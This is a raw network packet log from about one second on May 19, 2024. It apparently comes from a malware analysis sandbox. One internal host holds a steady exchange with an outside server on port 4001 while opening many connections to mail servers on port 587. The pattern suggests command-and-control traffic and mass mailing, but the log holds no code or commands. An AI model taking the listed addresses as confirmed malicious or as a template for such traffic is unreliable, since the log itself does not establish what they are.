May 19, 2024 17:27:50.632850885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.637823105 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:50.637877941 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:50.637907982 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.637938023 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:50.637968063 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:50.642700911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.642757893 CEST	587	50021	194.153.145.104	192.168.2.4
May 19, 2024 17:27:50.642841101 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:50.642955065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.642992973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.643007040 CEST	50021	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:50.643244982 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:50.648365974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.648410082 CEST	587	49995	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.648544073 CEST	49995	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.648597956 CEST	49995	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.648627043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.656990051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.657012939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.658444881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.658505917 CEST	587	50022	195.238.20.30	192.168.2.4
May 19, 2024 17:27:50.658580065 CEST	50022	587	192.168.2.4	195.238.20.30
May 19, 2024 17:27:50.658665895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.663218975 CEST	587	49995	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.663252115 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:50.663341045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.668188095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.668237925 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:50.668375015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.673386097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.677452087 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.686167955 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:50.690426111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.691131115 CEST	587	49894	198.164.81.21	192.168.2.4
May 19, 2024 17:27:50.691232920 CEST	49894	587	192.168.2.4	198.164.81.21
May 19, 2024 17:27:50.691263914 CEST	49894	587	192.168.2.4	198.164.81.21
May 19, 2024 17:27:50.691283941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.692967892 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:50.696021080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.701301098 CEST	587	49894	198.164.81.21	192.168.2.4
May 19, 2024 17:27:50.708641052 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:50.708740950 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:50.716454029 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:50.720498085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.721429110 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:50.721538067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.726473093 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.731580019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.731982946 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.732003927 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:50.732409000 CEST	50024	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:50.732474089 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:50.737435102 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.739967108 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:50.742377043 CEST	587	49899	193.81.82.81	192.168.2.4
May 19, 2024 17:27:50.742474079 CEST	49899	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:50.742556095 CEST	49899	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:50.742557049 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.742641926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.742666006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.747231960 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:50.747329950 CEST	587	50024	194.153.145.104	192.168.2.4
May 19, 2024 17:27:50.747344971 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:50.747473955 CEST	50024	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:50.747478008 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:50.747699976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.747699976 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.752521038 CEST	587	49899	193.81.82.81	192.168.2.4
May 19, 2024 17:27:50.757433891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.771123886 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:50.771132946 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:50.774497986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.774552107 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:50.774815083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.775650978 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.775724888 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.775926113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.775929928 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:50.775927067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.775927067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.778038025 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.780740023 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.780802011 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.780833960 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:50.780977011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.780977011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.780977011 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.785825014 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.826303959 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:50.833703995 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:50.837338924 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.837384939 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.837414980 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.837445021 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.837507010 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:50.837538004 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:50.837574959 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:50.837735891 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:50.837771893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.837773085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.837812901 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:50.838258982 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:50.838279963 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:50.838311911 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:50.838905096 CEST	50025	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:50.844234943 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:50.880465031 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:50.880467892 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:50.885896921 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:50.885921955 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:50.885936022 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:50.885951042 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:50.885966063 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:50.885979891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.885996103 CEST	587	50025	199.85.66.2	192.168.2.4
May 19, 2024 17:27:50.886009932 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:50.886080027 CEST	50025	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:50.886297941 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.886298895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.886643887 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:50.887043953 CEST	50027	587	192.168.2.4	45.60.76.192
May 19, 2024 17:27:50.894191027 CEST	587	49902	193.81.82.81	192.168.2.4
May 19, 2024 17:27:50.894287109 CEST	49902	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:50.894320965 CEST	49902	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:50.894479036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.899262905 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:50.899338007 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:50.899661064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.904293060 CEST	587	50027	45.60.76.192	192.168.2.4
May 19, 2024 17:27:50.904346943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.904495001 CEST	50027	587	192.168.2.4	45.60.76.192
May 19, 2024 17:27:50.904495001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.909228086 CEST	587	49902	193.81.82.81	192.168.2.4
May 19, 2024 17:27:50.909246922 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:50.909459114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.913902044 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.913917065 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:50.919239044 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.927433014 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:50.928474903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.932399035 CEST	587	49991	120.50.131.112	192.168.2.4
May 19, 2024 17:27:50.932416916 CEST	587	49905	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.932481050 CEST	49991	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:50.932569027 CEST	49991	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:50.932626009 CEST	49905	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.932626963 CEST	49905	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:50.932626963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.932626963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.939452887 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:50.939637899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.944281101 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.944578886 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:50.944578886 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:50.944578886 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:50.944636106 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:50.945236921 CEST	50028	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.949407101 CEST	587	49991	120.50.131.112	192.168.2.4
May 19, 2024 17:27:50.949420929 CEST	587	49905	104.18.2.81	192.168.2.4
May 19, 2024 17:27:50.949440956 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.949455023 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:50.949614048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.954550028 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:50.958583117 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:50.958584070 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:50.959559917 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:50.959573984 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:50.959587097 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:50.959603071 CEST	587	50028	117.50.20.113	192.168.2.4
May 19, 2024 17:27:50.959615946 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:50.959669113 CEST	50028	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:50.964689970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:50.964742899 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:50.989875078 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:50.995887995 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:50.996243000 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.996243954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:50.996725082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.005461931 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:51.005470991 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:51.015496969 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.061219931 CEST	587	50005	47.43.18.10	192.168.2.4
May 19, 2024 17:27:51.061266899 CEST	587	50005	47.43.18.10	192.168.2.4
May 19, 2024 17:27:51.061299086 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:51.061322927 CEST	50005	587	192.168.2.4	47.43.18.10
May 19, 2024 17:27:51.061379910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.061386108 CEST	50005	587	192.168.2.4	47.43.18.10
May 19, 2024 17:27:51.061422110 CEST	587	50005	47.43.18.10	192.168.2.4
May 19, 2024 17:27:51.061439037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.061496973 CEST	50005	587	192.168.2.4	47.43.18.10
May 19, 2024 17:27:51.061594009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.064372063 CEST	50029	587	192.168.2.4	211.29.132.105
May 19, 2024 17:27:51.066276073 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:51.066405058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.113305092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.113337040 CEST	587	49910	74.125.200.26	192.168.2.4
May 19, 2024 17:27:51.113414049 CEST	49910	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:51.113467932 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:51.113743067 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:51.113816023 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:51.114083052 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:51.114173889 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.114175081 CEST	49910	587	192.168.2.4	74.125.200.26
May 19, 2024 17:27:51.114175081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.114491940 CEST	50030	587	192.168.2.4	154.55.194.116
May 19, 2024 17:27:51.114725113 CEST	49981	587	192.168.2.4	141.85.160.41
May 19, 2024 17:27:51.114763021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.114953995 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:51.115502119 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:51.118099928 CEST	587	50005	47.43.18.10	192.168.2.4
May 19, 2024 17:27:51.118135929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.118191957 CEST	587	50029	211.29.132.105	192.168.2.4
May 19, 2024 17:27:51.118351936 CEST	50029	587	192.168.2.4	211.29.132.105
May 19, 2024 17:27:51.118412971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.165647984 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:51.165700912 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:51.165730953 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:51.165759087 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:51.165786028 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:51.165816069 CEST	587	49910	74.125.200.26	192.168.2.4
May 19, 2024 17:27:51.165848017 CEST	587	50030	154.55.194.116	192.168.2.4
May 19, 2024 17:27:51.165877104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.165905952 CEST	587	49981	141.85.160.41	192.168.2.4
May 19, 2024 17:27:51.165935993 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:51.165966034 CEST	587	49913	104.18.2.81	192.168.2.4
May 19, 2024 17:27:51.165967941 CEST	49981	587	192.168.2.4	141.85.160.41
May 19, 2024 17:27:51.165997028 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.166068077 CEST	50030	587	192.168.2.4	154.55.194.116
May 19, 2024 17:27:51.166112900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.166163921 CEST	49913	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:51.166261911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.166311026 CEST	49913	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:51.166323900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.166439056 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.166625023 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.166722059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.166722059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.168991089 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.170284033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.170284033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.170304060 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:51.171454906 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.171489000 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.171519995 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:51.171535015 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:51.171628952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.171628952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.171689034 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:51.171689987 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:51.172959089 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.173146009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.173146009 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.176702023 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.176764965 CEST	587	49913	104.18.2.81	192.168.2.4
May 19, 2024 17:27:51.176798105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.176825047 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:51.176826000 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.176891088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.184959888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.185062885 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.185096025 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:51.185126066 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.208693981 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:51.208703041 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:51.214337111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.214461088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.214677095 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:51.214752913 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:51.214755058 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:51.214970112 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:51.215424061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.215424061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.215755939 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:51.220196962 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:51.220582008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.225284100 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:51.225343943 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:51.225590944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.225591898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.230303049 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:51.230364084 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:51.230401993 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:51.230431080 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.230465889 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:51.230495930 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.230600119 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:51.230783939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.235207081 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.240206957 CEST	587	49918	194.153.145.104	192.168.2.4
May 19, 2024 17:27:51.242539883 CEST	49918	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:51.242541075 CEST	49918	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:51.242541075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.247813940 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:51.250423908 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.252852917 CEST	587	49918	194.153.145.104	192.168.2.4
May 19, 2024 17:27:51.257822990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.258296967 CEST	50032	465	192.168.2.4	185.53.178.50
May 19, 2024 17:27:51.263566971 CEST	465	50032	185.53.178.50	192.168.2.4
May 19, 2024 17:27:51.266397953 CEST	50032	465	192.168.2.4	185.53.178.50
May 19, 2024 17:27:51.266561031 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.271179914 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:51.279221058 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.284220934 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:51.284249067 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:51.284511089 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:51.286755085 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:51.289089918 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:51.289653063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.302357912 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:51.322269917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.327225924 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:51.333631992 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:51.339164972 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:51.364855051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.370325089 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:51.370361090 CEST	587	49923	199.85.66.2	192.168.2.4
May 19, 2024 17:27:51.370376110 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.370388985 CEST	587	49759	213.209.1.145	192.168.2.4
May 19, 2024 17:27:51.370551109 CEST	49923	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:51.370575905 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:51.380352020 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:51.380470037 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:51.388766050 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:51.403214931 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:51.411721945 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:51.417073011 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:51.417124987 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:51.417140007 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:51.443068981 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:51.448288918 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:51.458497047 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:51.458601952 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:51.458619118 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:51.458642960 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:51.466898918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:51.468621016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.468985081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469178915 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469208002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469254971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469326019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469393015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.469504118 CEST	49759	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:51.469883919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:51.470041990 CEST	49923	587	192.168.2.4	199.85.66.2
May 19, 2024 17:27:51.470060110 CEST	49734	4001	192.168.2.4	212.162.153.199
